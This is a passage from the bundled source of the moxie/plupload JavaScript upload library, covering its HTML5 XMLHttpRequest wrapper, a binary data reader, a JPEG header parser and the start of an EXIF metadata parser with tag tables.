6975 if (_fr) {
6976 _fr.abort();
6977 }
6978 },
6979
6980 destroy: function() {
6981 _fr = null;
6982 }
6983 });
6984
6985 function _toBinary(str) {
6986 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
6987 }
6988 }
6989
6990 return (extensions.FileReader = FileReader);
6991});
6992
6993// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js
6994
6995/**
6996 * XMLHttpRequest.js
6997 *
6998 * Copyright 2013, Moxiecode Systems AB
6999 * Released under GPL License.
7000 *
7001 * License: http://www.plupload.com/license
7002 * Contributing: http://www.plupload.com/contributing
7003 */
7004
7005/*global ActiveXObject:true */
7006
7007/**
7008@class moxie/runtime/html5/xhr/XMLHttpRequest
7009@private
7010*/
7011define("moxie/runtime/html5/xhr/XMLHttpRequest", [
7012 "moxie/runtime/html5/Runtime",
7013 "moxie/core/utils/Basic",
7014 "moxie/core/utils/Mime",
7015 "moxie/core/utils/Url",
7016 "moxie/file/File",
7017 "moxie/file/Blob",
7018 "moxie/xhr/FormData",
7019 "moxie/core/Exceptions",
7020 "moxie/core/utils/Env"
7021], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
7022
7023 function XMLHttpRequest() {
7024 var self = this
7025 , _xhr
7026 , _filename
7027 ;
7028
7029 Basic.extend(this, {
7030 send: function(meta, data) {
7031 var target = this
7032 , isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
7033 , isAndroidBrowser = Env.browser === 'Android Browser'
7034 , mustSendAsBinary = false
7035 ;
7036
7037 // extract file name
7038 _filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();
7039
7040 _xhr = _getNativeXHR();
7041 _xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);
7042
7043
7044 // prepare data to be sent
7045 if (data instanceof Blob) {
7046 if (data.isDetached()) {
7047 mustSendAsBinary = true;
7048 }
7049 data = data.getSource();
7050 } else if (data instanceof FormData) {
7051
7052 if (data.hasBlob()) {
7053 if (data.getBlob().isDetached()) {
7054 data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
7055 mustSendAsBinary = true;
7056 } else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
7057 // Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
7058 // Android browsers (default one and Dolphin) seem to have the same issue, see: #613
7059 _preloadAndSend.call(target, meta, data);
7060 return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
7061 }
7062 }
7063
7064 // transfer fields to real FormData
7065 if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
7066 var fd = new window.FormData();
7067 data.each(function(value, name) {
7068 if (value instanceof Blob) {
7069 fd.append(name, value.getSource());
7070 } else {
7071 fd.append(name, value);
7072 }
7073 });
7074 data = fd;
7075 }
7076 }
7077
7078
7079 // if XHR L2
7080 if (_xhr.upload) {
7081 if (meta.withCredentials) {
7082 _xhr.withCredentials = true;
7083 }
7084
7085 _xhr.addEventListener('load', function(e) {
7086 target.trigger(e);
7087 });
7088
7089 _xhr.addEventListener('error', function(e) {
7090 target.trigger(e);
7091 });
7092
7093 // additionally listen to progress events
7094 _xhr.addEventListener('progress', function(e) {
7095 target.trigger(e);
7096 });
7097
7098 _xhr.upload.addEventListener('progress', function(e) {
7099 target.trigger({
7100 type: 'UploadProgress',
7101 loaded: e.loaded,
7102 total: e.total
7103 });
7104 });
7105 // ... otherwise simulate XHR L2
7106 } else {
7107 _xhr.onreadystatechange = function onReadyStateChange() {
7108
7109 // fake Level 2 events
7110 switch (_xhr.readyState) {
7111
7112 case 1: // XMLHttpRequest.OPENED
7113 // readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
7114 break;
7115
7116 // looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
7117 case 2: // XMLHttpRequest.HEADERS_RECEIVED
7118 break;
7119
7120 case 3: // XMLHttpRequest.LOADING
7121 // try to fire progress event for not XHR L2
7122 var total, loaded;
7123
7124 try {
7125 if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
7126 total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
7127 }
7128
7129 if (_xhr.responseText) { // responseText was introduced in IE7
7130 loaded = _xhr.responseText.length;
7131 }
7132 } catch(ex) {
7133 total = loaded = 0;
7134 }
7135
7136 target.trigger({
7137 type: 'progress',
7138 lengthComputable: !!total,
7139 total: parseInt(total, 10),
7140 loaded: loaded
7141 });
7142 break;
7143
7144 case 4: // XMLHttpRequest.DONE
7145 // release readystatechange handler (mostly for IE)
7146 _xhr.onreadystatechange = function() {};
7147
7148 // usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
7149 if (_xhr.status === 0) {
7150 target.trigger('error');
7151 } else {
7152 target.trigger('load');
7153 }
7154 break;
7155 }
7156 };
7157 }
7158
7159
7160 // set request headers
7161 if (!Basic.isEmptyObj(meta.headers)) {
7162 Basic.each(meta.headers, function(value, header) {
7163 _xhr.setRequestHeader(header, value);
7164 });
7165 }
7166
7167 // request response type
7168 if ("" !== meta.responseType && 'responseType' in _xhr) {
7169 if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
7170 _xhr.responseType = 'text';
7171 } else {
7172 _xhr.responseType = meta.responseType;
7173 }
7174 }
7175
7176 // send ...
7177 if (!mustSendAsBinary) {
7178 _xhr.send(data);
7179 } else {
7180 if (_xhr.sendAsBinary) { // Gecko
7181 _xhr.sendAsBinary(data);
7182 } else { // other browsers having support for typed arrays
7183 (function() {
7184 // mimic Gecko's sendAsBinary
7185 var ui8a = new Uint8Array(data.length);
7186 for (var i = 0; i < data.length; i++) {
7187 ui8a[i] = (data.charCodeAt(i) & 0xff);
7188 }
7189 _xhr.send(ui8a.buffer);
7190 }());
7191 }
7192 }
7193
7194 target.trigger('loadstart');
7195 },
7196
7197 getStatus: function() {
7198 // according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
7199 try {
7200 if (_xhr) {
7201 return _xhr.status;
7202 }
7203 } catch(ex) {}
7204 return 0;
7205 },
7206
7207 getResponse: function(responseType) {
7208 var I = this.getRuntime();
7209
7210 try {
7211 switch (responseType) {
7212 case 'blob':
7213 var file = new File(I.uid, _xhr.response);
7214
7215 // try to extract file name from content-disposition if possible (might be - not, if CORS for example)
7216 var disposition = _xhr.getResponseHeader('Content-Disposition');
7217 if (disposition) {
7218 // extract filename from response header if available
7219 var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
7220 if (match) {
7221 _filename = match[2];
7222 }
7223 }
7224 file.name = _filename;
7225
7226 // pre-webkit Opera doesn't set type property on the blob response
7227 if (!file.type) {
7228 file.type = Mime.getFileMime(_filename);
7229 }
7230 return file;
7231
7232 case 'json':
7233 if (!Env.can('return_response_type', 'json')) {
7234 return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
7235 }
7236 return _xhr.response;
7237
7238 case 'document':
7239 return _getDocument(_xhr);
7240
7241 default:
7242 return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
7243 }
7244 } catch(ex) {
7245 return null;
7246 }
7247 },
7248
7249 getAllResponseHeaders: function() {
7250 try {
7251 return _xhr.getAllResponseHeaders();
7252 } catch(ex) {}
7253 return '';
7254 },
7255
7256 abort: function() {
7257 if (_xhr) {
7258 _xhr.abort();
7259 }
7260 },
7261
7262 destroy: function() {
7263 self = _filename = null;
7264 }
7265 });
7266
7267
7268 // here we go... ugly fix for ugly bug
7269 function _preloadAndSend(meta, data) {
7270 var target = this, blob, fr;
7271
7272 // get original blob
7273 blob = data.getBlob().getSource();
7274
7275 // preload blob in memory to be sent as binary string
7276 fr = new window.FileReader();
7277 fr.onload = function() {
7278 // overwrite original blob
7279 data.append(data.getBlobName(), new Blob(null, {
7280 type: blob.type,
7281 data: fr.result
7282 }));
7283 // invoke send operation again
7284 self.send.call(target, meta, data);
7285 };
7286 fr.readAsBinaryString(blob);
7287 }
7288
7289
7290 function _getNativeXHR() {
7291 if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
7292 return new window.XMLHttpRequest();
7293 } else {
7294 return (function() {
7295 var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
7296 for (var i = 0; i < progIDs.length; i++) {
7297 try {
7298 return new ActiveXObject(progIDs[i]);
7299 } catch (ex) {}
7300 }
7301 })();
7302 }
7303 }
7304
7305 // @credits Sergey Ilinsky (http://www.ilinsky.com/)
7306 function _getDocument(xhr) {
7307 var rXML = xhr.responseXML;
7308 var rText = xhr.responseText;
7309
7310 // Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
7311 if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
7312 rXML = new window.ActiveXObject("Microsoft.XMLDOM");
7313 rXML.async = false;
7314 rXML.validateOnParse = false;
7315 rXML.loadXML(rText);
7316 }
7317
7318 // Check if there is no error in document
7319 if (rXML) {
7320 if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
7321 return null;
7322 }
7323 }
7324 return rXML;
7325 }
7326
7327
7328 function _prepareMultipart(fd) {
7329 var boundary = '----moxieboundary' + new Date().getTime()
7330 , dashdash = '--'
7331 , crlf = '\r\n'
7332 , multipart = ''
7333 , I = this.getRuntime()
7334 ;
7335
7336 if (!I.can('send_binary_string')) {
7337 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
7338 }
7339
7340 _xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
7341
7342 // append multipart parameters
7343 fd.each(function(value, name) {
7344 // Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(),
7345 // so we try it here ourselves with: unescape(encodeURIComponent(value))
7346 if (value instanceof Blob) {
7347 // Build RFC2388 blob
7348 multipart += dashdash + boundary + crlf +
7349 'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
7350 'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
7351 value.getSource() + crlf;
7352 } else {
7353 multipart += dashdash + boundary + crlf +
7354 'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
7355 unescape(encodeURIComponent(value)) + crlf;
7356 }
7357 });
7358
7359 multipart += dashdash + boundary + dashdash + crlf;
7360
7361 return multipart;
7362 }
7363 }
7364
7365 return (extensions.XMLHttpRequest = XMLHttpRequest);
7366});
7367
7368// Included from: src/javascript/runtime/html5/utils/BinaryReader.js
7369
7370/**
7371 * BinaryReader.js
7372 *
7373 * Copyright 2013, Moxiecode Systems AB
7374 * Released under GPL License.
7375 *
7376 * License: http://www.plupload.com/license
7377 * Contributing: http://www.plupload.com/contributing
7378 */
7379
7380/**
7381@class moxie/runtime/html5/utils/BinaryReader
7382@private
7383*/
7384define("moxie/runtime/html5/utils/BinaryReader", [
7385 "moxie/core/utils/Basic"
7386], function(Basic) {
7387
7388
7389 function BinaryReader(data) {
7390 if (data instanceof ArrayBuffer) {
7391 ArrayBufferReader.apply(this, arguments);
7392 } else {
7393 UTF16StringReader.apply(this, arguments);
7394 }
7395 }
7396
7397 Basic.extend(BinaryReader.prototype, {
7398
7399 littleEndian: false,
7400
7401
7402 read: function(idx, size) {
7403 var sum, mv, i;
7404
7405 if (idx + size > this.length()) {
7406 throw new Error("You are trying to read outside the source boundaries.");
7407 }
7408
7409 mv = this.littleEndian
7410 ? 0
7411 : -8 * (size - 1)
7412 ;
7413
7414 for (i = 0, sum = 0; i < size; i++) {
7415 sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
7416 }
7417 return sum;
7418 },
7419
7420
7421 write: function(idx, num, size) {
7422 var mv, i, str = '';
7423
7424 if (idx > this.length()) {
7425 throw new Error("You are trying to write outside the source boundaries.");
7426 }
7427
7428 mv = this.littleEndian
7429 ? 0
7430 : -8 * (size - 1)
7431 ;
7432
7433 for (i = 0; i < size; i++) {
7434 this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
7435 }
7436 },
7437
7438
7439 BYTE: function(idx) {
7440 return this.read(idx, 1);
7441 },
7442
7443
7444 SHORT: function(idx) {
7445 return this.read(idx, 2);
7446 },
7447
7448
7449 LONG: function(idx) {
7450 return this.read(idx, 4);
7451 },
7452
7453
7454 SLONG: function(idx) { // 2's complement notation
7455 var num = this.read(idx, 4);
7456 return (num > 2147483647 ? num - 4294967296 : num);
7457 },
7458
7459
7460 CHAR: function(idx) {
7461 return String.fromCharCode(this.read(idx, 1));
7462 },
7463
7464
7465 STRING: function(idx, count) {
7466 return this.asArray('CHAR', idx, count).join('');
7467 },
7468
7469
7470 asArray: function(type, idx, count) {
7471 var values = [];
7472
7473 for (var i = 0; i < count; i++) {
7474 values[i] = this[type](idx + i);
7475 }
7476 return values;
7477 }
7478 });
7479
7480
7481 function ArrayBufferReader(data) {
7482 var _dv = new DataView(data);
7483
7484 Basic.extend(this, {
7485
7486 readByteAt: function(idx) {
7487 return _dv.getUint8(idx);
7488 },
7489
7490
7491 writeByteAt: function(idx, value) {
7492 _dv.setUint8(idx, value);
7493 },
7494
7495
7496 SEGMENT: function(idx, size, value) {
7497 switch (arguments.length) {
7498 case 2:
7499 return data.slice(idx, idx + size);
7500
7501 case 1:
7502 return data.slice(idx);
7503
7504 case 3:
7505 if (value === null) {
7506 value = new ArrayBuffer();
7507 }
7508
7509 if (value instanceof ArrayBuffer) {
7510 var arr = new Uint8Array(this.length() - size + value.byteLength);
7511 if (idx > 0) {
7512 arr.set(new Uint8Array(data.slice(0, idx)), 0);
7513 }
7514 arr.set(new Uint8Array(value), idx);
7515 arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);
7516
7517 this.clear();
7518 data = arr.buffer;
7519 _dv = new DataView(data);
7520 break;
7521 }
7522
7523 default: return data;
7524 }
7525 },
7526
7527
7528 length: function() {
7529 return data ? data.byteLength : 0;
7530 },
7531
7532
7533 clear: function() {
7534 _dv = data = null;
7535 }
7536 });
7537 }
7538
7539
7540 function UTF16StringReader(data) {
7541 Basic.extend(this, {
7542
7543 readByteAt: function(idx) {
7544 return data.charCodeAt(idx);
7545 },
7546
7547
7548 writeByteAt: function(idx, value) {
7549 putstr(String.fromCharCode(value), idx, 1);
7550 },
7551
7552
7553 SEGMENT: function(idx, length, segment) {
7554 switch (arguments.length) {
7555 case 1:
7556 return data.substr(idx);
7557 case 2:
7558 return data.substr(idx, length);
7559 case 3:
7560 putstr(segment !== null ? segment : '', idx, length);
7561 break;
7562 default: return data;
7563 }
7564 },
7565
7566
7567 length: function() {
7568 return data ? data.length : 0;
7569 },
7570
7571 clear: function() {
7572 data = null;
7573 }
7574 });
7575
7576
7577 function putstr(segment, idx, length) {
7578 length = arguments.length === 3 ? length : data.length - idx - 1;
7579 data = data.substr(0, idx) + segment + data.substr(length + idx);
7580 }
7581 }
7582
7583
7584 return BinaryReader;
7585});
7586
7587// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js
7588
7589/**
7590 * JPEGHeaders.js
7591 *
7592 * Copyright 2013, Moxiecode Systems AB
7593 * Released under GPL License.
7594 *
7595 * License: http://www.plupload.com/license
7596 * Contributing: http://www.plupload.com/contributing
7597 */
7598
7599/**
7600@class moxie/runtime/html5/image/JPEGHeaders
7601@private
7602*/
7603define("moxie/runtime/html5/image/JPEGHeaders", [
7604 "moxie/runtime/html5/utils/BinaryReader",
7605 "moxie/core/Exceptions"
7606], function(BinaryReader, x) {
7607
7608 return function JPEGHeaders(data) {
7609 var headers = [], _br, idx, marker, length = 0;
7610
7611 _br = new BinaryReader(data);
7612
7613 // Check if data is jpeg
7614 if (_br.SHORT(0) !== 0xFFD8) {
7615 _br.clear();
7616 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
7617 }
7618
7619 idx = 2;
7620
7621 while (idx <= _br.length()) {
7622 marker = _br.SHORT(idx);
7623
7624 // omit RST (restart) markers
7625 if (marker >= 0xFFD0 && marker <= 0xFFD7) {
7626 idx += 2;
7627 continue;
7628 }
7629
7630 // no headers allowed after SOS marker
7631 if (marker === 0xFFDA || marker === 0xFFD9) {
7632 break;
7633 }
7634
7635 length = _br.SHORT(idx + 2) + 2;
7636
7637 // APPn marker detected
7638 if (marker >= 0xFFE1 && marker <= 0xFFEF) {
7639 headers.push({
7640 hex: marker,
7641 name: 'APP' + (marker & 0x000F),
7642 start: idx,
7643 length: length,
7644 segment: _br.SEGMENT(idx, length)
7645 });
7646 }
7647
7648 idx += length;
7649 }
7650
7651 _br.clear();
7652
7653 return {
7654 headers: headers,
7655
7656 restore: function(data) {
7657 var max, i, br;
7658
7659 br = new BinaryReader(data);
7660
7661 idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;
7662
7663 for (i = 0, max = headers.length; i < max; i++) {
7664 br.SEGMENT(idx, 0, headers[i].segment);
7665 idx += headers[i].length;
7666 }
7667
7668 data = br.SEGMENT();
7669 br.clear();
7670 return data;
7671 },
7672
7673 strip: function(data) {
7674 var br, headers, jpegHeaders, i;
7675
7676 jpegHeaders = new JPEGHeaders(data);
7677 headers = jpegHeaders.headers;
7678 jpegHeaders.purge();
7679
7680 br = new BinaryReader(data);
7681
7682 i = headers.length;
7683 while (i--) {
7684 br.SEGMENT(headers[i].start, headers[i].length, '');
7685 }
7686
7687 data = br.SEGMENT();
7688 br.clear();
7689 return data;
7690 },
7691
7692 get: function(name) {
7693 var array = [];
7694
7695 for (var i = 0, max = headers.length; i < max; i++) {
7696 if (headers[i].name === name.toUpperCase()) {
7697 array.push(headers[i].segment);
7698 }
7699 }
7700 return array;
7701 },
7702
7703 set: function(name, segment) {
7704 var array = [], i, ii, max;
7705
7706 if (typeof(segment) === 'string') {
7707 array.push(segment);
7708 } else {
7709 array = segment;
7710 }
7711
7712 for (i = ii = 0, max = headers.length; i < max; i++) {
7713 if (headers[i].name === name.toUpperCase()) {
7714 headers[i].segment = array[ii];
7715 headers[i].length = array[ii].length;
7716 ii++;
7717 }
7718 if (ii >= array.length) {
7719 break;
7720 }
7721 }
7722 },
7723
7724 purge: function() {
7725 this.headers = headers = [];
7726 }
7727 };
7728 };
7729});
7730
7731// Included from: src/javascript/runtime/html5/image/ExifParser.js
7732
7733/**
7734 * ExifParser.js
7735 *
7736 * Copyright 2013, Moxiecode Systems AB
7737 * Released under GPL License.
7738 *
7739 * License: http://www.plupload.com/license
7740 * Contributing: http://www.plupload.com/contributing
7741 */
7742
7743/**
7744@class moxie/runtime/html5/image/ExifParser
7745@private
7746*/
7747define("moxie/runtime/html5/image/ExifParser", [
7748 "moxie/core/utils/Basic",
7749 "moxie/runtime/html5/utils/BinaryReader",
7750 "moxie/core/Exceptions"
7751], function(Basic, BinaryReader, x) {
7752
7753 function ExifParser(data) {
7754 var __super__, tags, tagDescs, offsets, idx, Tiff;
7755
7756 BinaryReader.call(this, data);
7757
7758 tags = {
7759 tiff: {
7760 /*
7761 The image orientation viewed in terms of rows and columns.
7762
7763 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
7764 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
7765 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
7766 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
7767 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
7768 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
7769 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
7770 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
7771 */
7772 0x0112: 'Orientation',
7773 0x010E: 'ImageDescription',
7774 0x010F: 'Make',
7775 0x0110: 'Model',
7776 0x0131: 'Software',
7777 0x8769: 'ExifIFDPointer',
7778 0x8825: 'GPSInfoIFDPointer'
7779 },
7780 exif: {
7781 0x9000: 'ExifVersion',
7782 0xA001: 'ColorSpace',
7783 0xA002: 'PixelXDimension',
7784 0xA003: 'PixelYDimension',
7785 0x9003: 'DateTimeOriginal',
7786 0x829A: 'ExposureTime',
7787 0x829D: 'FNumber',
7788 0x8827: 'ISOSpeedRatings',
7789 0x9201: 'ShutterSpeedValue',
7790 0x9202: 'ApertureValue' ,
7791 0x9207: 'MeteringMode',
7792 0x9208: 'LightSource',
7793 0x9209: 'Flash',
7794 0x920A: 'FocalLength',
7795 0xA402: 'ExposureMode',
7796 0xA403: 'WhiteBalance',
7797 0xA406: 'SceneCaptureType',
7798 0xA404: 'DigitalZoomRatio',
7799 0xA408: 'Contrast',
7800 0xA409: 'Saturation',
7801 0xA40A: 'Sharpness'
7802 },
7803 gps: {
7804 0x0000: 'GPSVersionID',
7805 0x0001: 'GPSLatitudeRef',
7806 0x0002: 'GPSLatitude',
7807 0x0003: 'GPSLongitudeRef',
7808 0x0004: 'GPSLongitude'
7809 },
7810
7811 thumb: {
7812 0x0201: 'JPEGInterchangeFormat',
7813 0x0202: 'JPEGInterchangeFormatLength'
7814 }
7815 };
7816
7817 tagDescs = {
7818 'ColorSpace': {
7819 1: 'sRGB',
7820 0: 'Uncalibrated'
7821 },
7822
7823 'MeteringMode': {
7824 0: 'Unknown',
7825 1: 'Average',
7826 2: 'CenterWeightedAverage',
7827 3: 'Spot',
7828 4: 'MultiSpot',
7829 5: 'Pattern',
7830 6: 'Partial',
7831 255: 'Other'
7832 },
7833
7834 'LightSource': {
7835 1: 'Daylight',
7836 2: 'Fliorescent',
7837 3: 'Tungsten',
7838 4: 'Flash',
7839 9: 'Fine weather',
7840 10: 'Cloudy weather',
7841 11: 'Shade',
7842 12: 'Daylight fluorescent (D 5700 - 7100K)',
7843 13: 'Day white fluorescent (N 4600 -5400K)',
7844 14: 'Cool white fluorescent (W 3900 - 4500K)',
7845 15: 'White fluorescent (WW 3200 - 3700K)',
7846 17: 'Standard light A',
7847 18: 'Standard light B',
7848 19: 'Standard light C',
7849 20: 'D55',
7850 21: 'D65',
7851 22: 'D75',
7852 23: 'D50',
7853 24: 'ISO studio tungsten',
7854 255: 'Other'
7855 },
7856
7857 'Flash': {
7858 0x0000: 'Flash did not fire',
7859 0x0001: 'Flash fired',
7860 0x0005: 'Strobe return light not detected',
7861 0x0007: 'Strobe return light detected',
7862 0x0009: 'Flash fired, compulsory flash mode',
7863 0x000D: 'Flash fired, compulsory flash mode, return light not detected',
7864 0x000F: 'Flash fired, compulsory flash mode, return light detected',
7865 0x0010: 'Flash did not fire, compulsory flash mode',
7866 0x0018: 'Flash did not fire, auto mode',
7867 0x0019: 'Flash fired, auto mode',
7868 0x001D: 'Flash fired, auto mode, return light not detected',
7869 0x001F: 'Flash fired, auto mode, return light detected',
7870 0x0020: 'No flash function',
7871 0x0041: 'Flash fired, red-eye reduction mode',
7872 0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
7873 0x0047: 'Flash fired, red-eye reduction mode, return light detected',
7874 0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
7875 0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
7876 0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
7877 0x0059: 'Flash fired, auto mode, red-eye reduction mode',
7878 0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
7879 0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
7880 },
7881
7882 'ExposureMode': {
7883 0: 'Auto exposure',
7884 1: 'Manual exposure',
7885 2: 'Auto bracket'
7886 },
7887
7888 'WhiteBalance': {
7889 0: 'Auto white balance',
7890 1: 'Manual white balance'
7891 },
7892
7893 'SceneCaptureType': {
7894 0: 'Standard',
7895 1: 'Landscape',
7896 2: 'Portrait',
7897 3: 'Night scene'
7898 },
7899
7900 'Contrast': {
7901 0: 'Normal',
7902 1: 'Soft',
7903 2: 'Hard'
7904 },
7905
7906 'Saturation': {
7907 0: 'Normal',
7908 1: 'Low saturation',
7909 2: 'High saturation'
7910 },
7911
7912 'Sharpness': {
7913 0: 'Normal',
7914 1: 'Soft',
7915 2: 'Hard'
7916 },
7917
7918 // GPS related
7919 'GPSLatitudeRef': {
7920 N: 'North latitude',
7921 S: 'South latitude'
7922 },
7923
7924 'GPSLongitudeRef': {
7925 E: 'East longitude',
7926 W: 'West longitude'
7927 }
7928 };
7929
7930 offsets = {
7931 tiffHeader: 10
7932 };
7933
7934 idx = offsets.tiffHeader;
7935
7936 __super__ = {
7937 clear: this.clear
7938 };
7939
7940 // Public functions
7941 Basic.extend(this, {
7942
7943 read: function() {
7944 try {
7945 return ExifParser.prototype.read.apply(this, arguments);
7946 } catch (ex) {
7947 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7948 }
7949 },
7950
7951
7952 write: function() {
7953 try {
7954 return ExifParser.prototype.write.apply(this, arguments);
7955 } catch (ex) {
7956 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7957 }
7958 },
7959
7960
7961 UNDEFINED: function() {
7962 return this.BYTE.apply(this, arguments);
7963 },
7964
7965
7966 RATIONAL: function(idx) {
7967 return this.LONG(idx) / this.LONG(idx + 4)
7968 },
7969
7970
7971 SRATIONAL: function(idx) {
7972 return this.SLONG(idx) / this.SLONG(idx + 4)
7973 },
7974
7975 ASCII: function(idx) {
7976 return this.CHAR(idx);
7977 },
7978
7979 TIFF: function() {
7980 return Tiff || null;
7981 },
7982
7983
7984 EXIF: function() {
7985 var Exif = null;
7986
7987 if (offsets.exifIFD) {
7988 try {
7989 Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
7990 } catch(ex) {
7991 return null;
7992 }
7993
7994 // Fix formatting of some tags
7995 if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
7996 for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
7997 exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
7998 }
7999 Exif.ExifVersion = exifVersion;
8000 }
8001 }
8002
8003 return Exif;
8004 },
8005
8006
8007 GPS: function() {
8008 var GPS = null;
8009
8010 if (offsets.gpsIFD) {
8011 try {
8012 GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
8013 } catch (ex) {
8014 return null;
8015 }
8016
8017 // iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
8018 if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
8019 GPS.GPSVersionID = GPS.GPSVersionID.join('.');
8020 }
8021 }
8022
8023 return GPS;
8024 },
8025
8026
8027 thumb: function() {
8028 if (offsets.IFD1) {
8029 try {
8030 var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
8031
8032 if ('JPEGInterchangeFormat' in IFD1Tags) {
8033 return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
8034 }
8035 } catch (ex) {}
8036 }
8037 return null;
8038 },
8039
8040
8041 setExif: function(tag, value) {
8042 // Right now only setting of width/height is possible
8043 if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }
8044
8045 return setTag.call(this, 'exif', tag, value);
8046 },
8047
8048
8049 clear: function() {
8050 __super__.clear();
8051 data = tags = tagDescs = Tiff = offsets = __super__ = null;
8052 }
8053 });
8054
8055
8056 // Check if that's APP1 and that it has EXIF
8057 if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
8058 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8059 }
8060
8061 // Set read order of multi-byte data
8062 this.littleEndian = (this.SHORT(idx) == 0x4949);
8063
8064 // Check if always present bytes are indeed present
8065 if (this.SHORT(idx+=2) !== 0x002A) {
8066 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8067 }
8068
8069 offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
8070 Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);
8071
8072 if ('ExifIFDPointer' in Tiff) {
8073 offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
8074 delete Tiff.ExifIFDPointer;
8075 }
8076
8077 if ('GPSInfoIFDPointer' in Tiff) {
8078 offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
8079 delete Tiff.GPSInfoIFDPointer;
8080 }
8081
8082 if (Basic.isEmptyObj(Tiff)) {
8083 Tiff = null;
8084 }
8085
8086 // check if we have a thumb as well
8087 var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
8088 if (IFD1Offset) {
8089 offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
8090 }
8091
8092
8093 function extractTags(IFD_offset, tags2extract) {
8094 var data = this;
8095 var length, i, tag, type, count, size, offset, value, values = [], hash = {};
8096
8097 var types = {
8098 1 : 'BYTE',
8099 7 : 'UNDEFINED',
8100 2 : 'ASCII',
8101 3 : 'SHORT',
8102 4 : 'LONG',
8103 5 : 'RATIONAL',
8104 9 : 'SLONG',
8105 10: 'SRATIONAL'
8106 };
8107
8108 var sizes = {
8109 'BYTE' : 1,
8110 'UNDEFINED' : 1,
8111 'ASCII' : 1,
8112 'SHORT' : 2,
8113 'LONG' : 4,
